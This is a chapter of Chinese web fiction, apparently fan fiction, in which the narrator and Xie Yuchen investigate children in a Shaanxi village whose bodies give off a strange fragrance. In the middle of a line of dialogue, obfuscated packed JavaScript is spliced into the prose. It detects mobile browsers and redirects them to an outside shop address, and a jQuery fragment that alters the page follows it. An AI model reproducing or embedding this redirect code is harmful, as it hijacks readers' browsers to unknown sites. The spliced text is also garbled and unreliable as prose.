从秦岭回来之后,我让公司继续关注着秦教授他们,暂时并无异常。
唯一说是奇怪的地方,就是秦教授不再着迷研究厍国文化,而是转了方向,据说因此和白教授还吵了架,不过这就算是对方的私事了。
我的私事,就是开始以报恩为借口,把寻找张起灵的事情放到了明面上。
三叔找上了我,盯了我许久,在我再三保证会以计划为重后,终于骂骂咧咧地走了。
大意是上好的白菜要给猪拱了。
我嘴角抽搐,总觉得三叔说的白菜是张起灵。
对玉佩和我身体中异常的研究进展平平。
玉佩依然能起到温养我的灵魂的作用,佩戴在身上,神清气爽只是它最不值一提的作用。
我尝试像西王母一样分离身体里的力量,没成功过。想必是因为我没有修炼什么功法,不能自由调动这股力量吧。
我又试着去到这股力量浓厚的地方去,偶尔能从地里勾出一丝一缕来,放到养的虫子上,虫子立刻翘起死亡的小脚们,宣告我的失败。
我还往自己的身体里种蛊,效果卓越,但养出来的蛊虫仍没有一个是能承受这股来自远古的力量的,就好像这力量附着在我的神魂上,和身体是区别开来的。
唯一的进展,也就是训练了一种虫子,能够在百米的安全范围外,追踪张起灵的气息。
嘻,之前在溪边打水的时候,我贡献了一条毛巾,之后回收回来了。
这大概也算是我变成痴恋张起灵的铁证,至少解雨臣听说之后表情非常复杂。
哦,对,见到解雨臣,是因为我和他搭伙做了一单生意。
就在我沉迷实验,却难得寸进的时候,他联系我说,有一些灵异的事情,在我的领域里,需要我帮忙。
现在解雨臣是解家的当家人,大老板,动辄谈的都是百万的生意,最近准备上市的拍卖公运营也上道了。他还接一些稀奇古怪的活,看风水,破妄局,驱邪捉鬼......“三叔”聊天的时候还调侃他是在人间做鬼差,可很少有人知道,他小时候是很怕鬼怪的。
至于他说的,我的领域,自然是因为我当了几十年的鬼,非常有经验,吊死的,刀下的,水里的,墓里的,冤死的,人肚子里的,没及时投胎的,讨债的,天生的,人养的......当年是乱世,大家都是邻居不是,我跟着道士,没少“帮”他们的忙。以至于我身上的阴煞和功德混杂在一起,对付那些鬼怪的时候,颇有一些心得,做了吴悔之后,也帮过一些人的忙。
我以为这次也是普通的鬼,没多问,就按解雨臣给的地址出发了,反正按他的习惯,资料应该都整理好了。
地方在陕西。我坐了飞机,解雨臣到机场接我,他开的车,直接去村子里。一行就我们两个人去,我问了,他说安排了后援,但留在了镇上的宾馆。
看完解雨臣给我的文件,车子也驶离了国道,进入土路。
我没事干,就侧头看着他开车,他穿着衬衣,看起来斯斯文文的,袖口挽起露出小臂,肌肉看起来就不好惹。他面容可以称得上是秀美的,也就一年多没见,似乎又张开了一些,加上身上独特的气质,非常秀色可餐。不过这话不能说给他听,不然他有一百种话术来噎我。
美中不足的是,他新做的发型有些丑,似乎是时下流行的《流星花园》造型,说不上来。
“看什么?”他看着前方的凹凸难行的路,随意问。
“你这个发型是哪里做的?”我问。
解雨臣嘴角勾出一个好看的弧度,有些得意:“我自己剪的,还不错吧?”
我呵呵两声:“没人评价过?”
他听出我含蓄的意思,嘴上一撅:“秀秀说很帅。”
他口中的秀秀是霍家当家的孙女,霍秀秀。小时候也一块儿玩过,不过次数不多。她比我们还要小几年,出了解连环的事情之后,吴家过年就不往京城跑了,也就没怎么再见过。
“哦,女孩子可能是会喜欢。”我别过了头,打算看看风景。
解雨臣突然又笑了:“说得好像你不是女孩子一样。”
我也笑了,换了声线:“我是老巫婆,专门吃细皮嫩肉的小伙子~”
解雨臣看了我一眼,大笑起来;“我给你吃,怕你硌着牙。”
“那不会,老太婆我不挑的。”我开着玩笑,眼前却多了一只胳膊。
是解雨臣伸过来的,就横在我的脸前,带着一股独属于年轻人的味道。
“哝,尝尝?”他挑衅,手臂的肌肉用力绷紧,绝对是硬的。
我拍开他的胳膊:“走开!”
正好这时候路过一个大坑,车子剧烈颠簸了一下,我让他抓好方向盘,他顺势收回了胳膊:“看来巫婆有色心,没色胆呢。”
我惊异地看他:“你怎么变得油嘴滑舌起来了,让我看看,是被谁上身了不成?”
“谁上我身算他倒霉。我是遇到一个有意思的人,想通一些事。”解雨臣平铺直叙。
他这个人心思细得很,但又意外地喜欢直来直往。这也算是一种和谐的矛盾。
“怪不得,感觉这次看到你,自在许多。”以往解雨臣都下意识地端着自己,要过很长时间才会慢慢放松下来。
解雨臣不置可否:“自在是因为旁边是你。”
对他表现出的信任,我有种我家有儿初长成的欣慰。
“哎呀,看来这次只有咱们的目标要不自在了。”
解雨臣抿了抿嘴:“你怎么看?”
“得去看到了才能说。”我看着车窗外地面上零星出现的黑色颗粒,答道。
这次的事情要追溯到半年前。当时村子里走了一个老人,按照村里的习惯,是要入棺送到山上去埋了的。但是停灵的第二天,开始出现怪事。
老人的尸体开始发出香味。
一开始家里人不知道香味是从哪里来的,还以为是回来的人里喷了香水,在学香妃(《还珠格格》正火)。等发现是尸体的味道后,家里人纠结半天,选择放弃土葬,力排众议火化了老人的尸体。但事情没有结束。一个月后,家里的几个孩子开始陆续散发出同样的香味。孩子还开始时不时半夜醒来,说一些当地老人才会说的土话。哪怕是从小没在当地生活过的小孩也会说,据说神态也相似,像被上了身一样。
大人们吓坏了,赶紧带孩子去医院看病,但是什么脑科医院,中西结合都看过了,愣是什么都没有查出来。好在这个现象不算严重,他们想,就当是中邪了,可能是老人托梦也说不定,所以回到村里,到坟前给老人多烧了点纸钱,安抚老人的亡魂。
当时这件事还只是在这家人身上出现,但就在一个月前,有一个“中邪”的孩子,突然半夜跑到山上去,死了。随着这个孩子的死去,和他一起玩过的孩子身上也开始有了香味。
村子里的人这觉得事情已经严重到了一定的地步,开始找门路解决。
到这里,算是进入了解雨臣的处理范围了。
但解雨臣之所以会来,还有一部分的原因,是这件事里有屠颠的影子。
“他迟早会死的。”
屠颠是解家的人,原本是解九爷留给解雨臣的一招棋,按计划,这人应该会成为解雨臣的左膀右臂。但是屠颠如他的名字,他开始的确是好好的,学着布局和外科,当着他的医生。但他疯了,大约是疯了,不然没法描述他的症状。他开始尝试影响身边的人,非常成功,于是他逐渐放弃良知和底线,牵扯无辜的人入局,编织了一场又一场让人糟心的事件。
为什么?
“这人有病。”解雨臣这么说。
但事情远没有这么简单。
屠颠很了解解雨臣,也很了解解家。他不想让解九爷的计划成功,或者说,他不想看到解雨臣成功。
他从小就很喜欢捉弄人,同样也知道解雨臣怕鬼的事情,还曾经装鬼吓唬过解雨臣。
长大了,解雨臣面冷心善,嘴上说着利益至上,心里却非常在乎自己人的性命。
屠颠就设局害人,引诱解雨臣来救。
我个人还是很佩服这人的设局能力的。如果说三叔的局像一个大型连续剧,屠颠的局就是单元剧。无论是哪个,都比我的倒霉复仇计划要强很多。
可惜,屠颠的私欲太多,我不喜欢让自己和张起灵的了断沾染上别的因果。这也是为什么我答应先完成三叔的计划的原因之一。
如果解雨臣长成屠颠那样,我一定会撺掇“三叔”自己回去解家上位。
不过没如果。解雨臣就是这么让人怜爱呢。
“你在想什么奇怪的东西,眼神也太奇怪了吧。”解雨臣看着我,脸上嫌弃,却没有走开,还让我小心上未干的泥泞。
我看着从村里走出来迎接的人还有一段距离,放心地说:“你真可爱。”
解雨臣更不能理解了,却没反驳我的评价,只是说:“你们女人的思维还真是跳跃。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303608|198634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不对,你到底有没有听我说的事啊?”
我胡乱点头,快走了几步,想避开地上的黑色颗粒。
刚刚下车前,解雨臣给我讲了一个民间传说,我也听过,是钩弋夫人的故事。
钩弋夫人是汉武帝的后宫之一,汉昭帝的亲生母亲。当年汉武帝非常宠爱钩弋夫人,要立汉昭帝做太子,但汉昭帝年幼,汉武帝担心钩弋夫人霍乱超纲,就赐死了她。传言钩弋夫人出殡的时候,身体不发臭,反而香气飘出十多里地。汉武帝又疑心钩弋夫人非是人类,就掘开坟墓,却发现棺材里是空的,没有尸体,就留下一双鞋子。[1]
“你觉得这两件事有关系?”
虽然故事里都有尸体,香气,甚至都在淳化发生,但当年的事情都没有结论,恐怕无法反过来解释这次的事。
解雨臣背着我们的行李,有些嫌恶地看着自己被泥水沾上的鞋子,跟上我的步伐,低头凑到我耳边,小声开口:“那地方找到了,等这件事结束,要不要一起去看看?”
原来是找到了钩弋夫人的墓,解雨臣想下去玩。
“你是筷子?”我问这趟是不是解雨臣牵头。
解雨臣:“嗯哼。”
感觉有点搞头,不过村民已经迎上来了,我们对视一眼,示意彼此回头详聊。
“可来了,专家,高手,快快进来,已经准备好席面了,给二位接风洗尘。”来人三十来岁的一个庄稼汉子,皮肤晒得黝黑,伸出来握手的手上,都是常年劳作的痕迹。
他并不因为我和解雨臣年轻而有轻视,想必是解雨臣的事前动员做得到位。
来接我们的村民叫李大有,我们晚上在他家吃了饭。饭食很新鲜,村里杀了猪和鸡,做的都是硬菜。解雨臣不喝酒,不吃辣,我闻不得烟味,解雨臣提前打好了招呼,所以这场饭吃得很舒心。
吃完饭,就到村长家里去看村里有香味的小孩。
跨进大院门,一盏黄色的大灯挂在墙上,照着村长家的院子,几个小孩有他们的家长带着,乖巧地坐在小马扎上。
大的孩子大约是三四年级,小的还被家长抱在手里。
我们走近,鼻尖翕动,果然有一股香气扑面而来。我对解雨臣摇了摇头,这里没有能成气候的鬼魅。
我和解雨臣在天黑前看过了附近的风水,认为也不是风水局。
我不动声色地派出药虫查看,又摸了两个孩子的脉,确认这些孩子的身上也没药毒残留,今天吃的食物,喝的水也很正常。
我摸上自己的手腕,把编制成手链的玉佩翻了个面,让其能直接触碰到我的肌肤。
我暗道糟糕。
是魔气!
魔气是我的叫法,实际上我也不知道那具体是什么,但总归不是好东西。
那种黑色的颗粒,以一种不算快的速度裹挟在小孩的身体里,源源不断地,抽走小孩身上微薄的那一丝属于人的力量。两种东西摩擦,生出另一种东西,没有规则地扩散开来,大约就是所谓的香气,被人吸收之后,吸引更多黑色的颗粒。大人们身上也有,只是没有小孩这么集中。
而被吸走的力量,全部往一个方向汇聚而去。
“那是哪里?”我指着一个方向的屋顶问。
解雨臣看了一眼,答道:“按白天说的,应该是这个村的祠堂。”刚到的时候李大有就带我们在村子里转了一圈,当时是说,他们的祠堂里也拜佛教道教的一些神仙。
“是嘞是嘞,是祠堂有什么问题吗?”村民的神情有些惶恐,在院子里的人也低声交谈着,让人不觉有些烦躁。
好吵。
讨厌的魔气。
我翻过玉佩,看向解雨臣:“祠堂能进吗?”
他秒懂我的意思,看向来接我们的那个李大有。李大有看向村长,村长有些为难,但他的孙子也在院子里,说他得明天给村民开会,投票决定。
李大有就点头,说应该能进,但提醒说,解雨臣进没问题,我可能有点问题。
这我懂,我是女人,女人进宗祠在不少地方是不敬祖宗的。
这时,一个大妈突然叫嚷了起来:“他大,他大(爸爸),你来,你来闻闻小子!”
我看去,是被我把过脉的一个男孩,才3岁大,嘴角还有着口水。
“好像,是没了?”那个孩子的父亲不停的闻着孩子,男孩以为在跟他玩,咯咯咯地笑着躲。
又抱给几个人闻,竟都说这个孩子身上的香味没有了!